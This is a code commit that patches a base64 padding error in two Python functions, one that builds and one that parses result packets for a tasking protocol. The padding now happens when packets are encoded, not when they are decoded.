Patch b64decode padding error

websockets-multiuser
xorrior 2017-10-27 03:47:06 -04:00
parent 0eb4cd02d3
commit cfdc5d5556
3 changed files with 8 additions and 12 deletions

View File

@ -134,6 +134,9 @@ def build_response_packet(taskingID, packetData, resultID=0):
if packetData: if packetData:
packetData = base64.b64encode(packetData.decode('utf-8').encode('utf-8',errors='ignore')) packetData = base64.b64encode(packetData.decode('utf-8').encode('utf-8',errors='ignore'))
if len(packetData) % 4:
packetData += '=' * (4 - len(packetData) % 4)
length = struct.pack('=L',len(packetData)) length = struct.pack('=L',len(packetData))
return packetType + totalPacket + packetNum + resultID + length + packetData return packetType + totalPacket + packetNum + resultID + length + packetData
else: else:

View File

@ -199,14 +199,7 @@ def parse_result_packet(packet, offset=0):
taskID = struct.unpack('=H', packet[6+offset:8+offset])[0] taskID = struct.unpack('=H', packet[6+offset:8+offset])[0]
length = struct.unpack('=L', packet[8+offset:12+offset])[0] length = struct.unpack('=L', packet[8+offset:12+offset])[0]
if length != '0': if length != '0':
if length % 4:
#padding fix
datapart = packet[12+offset:12+offset+length]
datapart += '=' * (4 - length % 4)
data = base64.b64decode(datapart)
else:
data = base64.b64decode(packet[12+offset:12+offset+length]) data = base64.b64decode(packet[12+offset:12+offset+length])
#data = base64.b64decode(packet[12+offset:12+offset+length])
else: else:
data = None data = None
remainingData = packet[12+offset+length:] remainingData = packet[12+offset+length:]